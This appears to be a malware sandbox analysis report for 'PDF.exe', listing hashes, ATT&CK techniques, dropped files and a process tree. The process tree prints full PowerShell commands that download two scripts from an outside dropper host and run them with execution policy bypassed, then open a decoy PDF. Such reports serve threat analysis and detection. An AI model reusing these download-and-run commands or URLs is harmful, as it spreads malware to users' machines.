c56c00ca3f42026f17affef76b3752f268d1498f862b3143985ca7c1d33feb39

Resubmissions

21-01-2025 11:18

250121-nef6aa1jfx 10

Analysis

max time kernel
117s
max time network
29s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PDF.exe
Size

258KB
MD5

34c2047d0b69ba023b700c21431accc0
SHA1

e34c28611707c81565cb73d8a1a46dfc3ab2495a
SHA256

ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
SHA512

a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7
SSDEEP

6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3

Score

10^/10

discovery execution link pdf

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/1.ps1

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/2.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2356	powershell.exe
2760	powershell.exe
3024	powershell.exe
2856	powershell.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral27/files/0x000500000001a438-59.dat	pdf_with_link_action

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2612	timeout.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3044	AcroRd32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2856	powershell.exe
3024	powershell.exe
2760	powershell.exe
2356	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3044	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3044	AcroRd32.exe
3044	AcroRd32.exe
3044	AcroRd32.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1356 wrote to memory of 2804	1356	PDF.exe	29
PID 1356 wrote to memory of 2804	1356	PDF.exe	29
PID 1356 wrote to memory of 2804	1356	PDF.exe	29
PID 2804 wrote to memory of 2856	2804	cmd.exe	31
PID 2804 wrote to memory of 2856	2804	cmd.exe	31
PID 2804 wrote to memory of 2856	2804	cmd.exe	31
PID 2804 wrote to memory of 3024	2804	cmd.exe	32
PID 2804 wrote to memory of 3024	2804	cmd.exe	32
PID 2804 wrote to memory of 3024	2804	cmd.exe	32
PID 2804 wrote to memory of 2760	2804	cmd.exe	33
PID 2804 wrote to memory of 2760	2804	cmd.exe	33
PID 2804 wrote to memory of 2760	2804	cmd.exe	33
PID 2804 wrote to memory of 2356	2804	cmd.exe	34
PID 2804 wrote to memory of 2356	2804	cmd.exe	34
PID 2804 wrote to memory of 2356	2804	cmd.exe	34
PID 2804 wrote to memory of 2612	2804	cmd.exe	35
PID 2804 wrote to memory of 2612	2804	cmd.exe	35
PID 2804 wrote to memory of 2612	2804	cmd.exe	35
PID 2804 wrote to memory of 3044	2804	cmd.exe	36
PID 2804 wrote to memory of 3044	2804	cmd.exe	36
PID 2804 wrote to memory of 3044	2804	cmd.exe	36
PID 2804 wrote to memory of 3044	2804	cmd.exe	36

C:\Users\Admin\AppData\Local\Temp\PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PDF.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1356
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5AFC.tmp\5AFD.tmp\5AFE.bat C:\Users\Admin\AppData\Local\Temp\PDF.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/1.ps1', 'C:\Users\Admin\AppData\Roaming\1.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/2.ps1', 'C:\Users\Admin\AppData\Roaming\2.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\1.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\2.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2356
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2612
- - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\pdf.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5AFC.tmp\5AFD.tmp\5AFE.bat

Filesize
712B

MD5
0e9ce5162ba7661c863a835f9d34d907

SHA1
0b351312ab57a02857753cab2287da680955f40d

SHA256
b67f37e765a5be87d9591efdb0501f0c97aa342ad1e4c34a711828c4a505c81e

SHA512
8d7c0a3cc95628cbec8a215f365c3ed86746e7b350c811ace5ea4419031adbdbe75dc7d1350d9c71db51f5cbb972db4e33b1d05e9a3e2a109c559eb065811ec0

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
be82756be9387b7f75aac3b9fa9a2eaf

SHA1
16f10f57490232a1abc16195c6b1fbb923feb109

SHA256
31a9e10203da50812ce613b10a61e35bfd3b06324e50870988fb4d8f6518c93e

SHA512
d233525225567ef6b15c11fcc1d40976fd4e0cc7981079fd221ccd3cc4912ef75fb620647f094a504898eceb84d9a6d8f77f1d2107672e4758ccf8cb91142850

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WB91KCETTCGQMVJ1LZ52.temp

Filesize
7KB

MD5
e91ed2cc4d830dc651361f331ad6a3a4

SHA1
effe3b9030fd817eee5e4f9fc537745bd1676294

SHA256
74ba657c6912a79fc7064c3c510844e49cb384b12370ef0e8151ec035e60bb81

SHA512
cda55e558af834cfa8391cb8dfd5d1d8ce7e0fb31611c1af59e5955505fbc9f04c20518f51f4ccccd18cb1fe571403b64c3ddb657a81a75bd3eb30650e5128e7

Download Submit
C:\Users\Admin\AppData\Roaming\pdf.pdf

Filesize
139KB

MD5
5afaf79789a776d81ec91ccbdc9fdaba

SHA1
6703901978dcb3dbf2d9915e1d3e066cfe712b0a

SHA256
38c9792d725c45dd431699e6a3b0f0f8e17c63c9ac7331387ee30dcc6e42a511

SHA512
09253eb87d097bdaa39f98cbbea3e6d83ee4641bca76c32c7eb1add17e9cb3117adb412d2e04ab251cca1fb19afa8b631d1e774b5dc8ae727f753fe2ffb5f288

Download Submit
memory/2856-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-14-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-15-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-12-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2856-10-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download
memory/2856-9-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2856-8-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/3024-21-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/3024-22-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download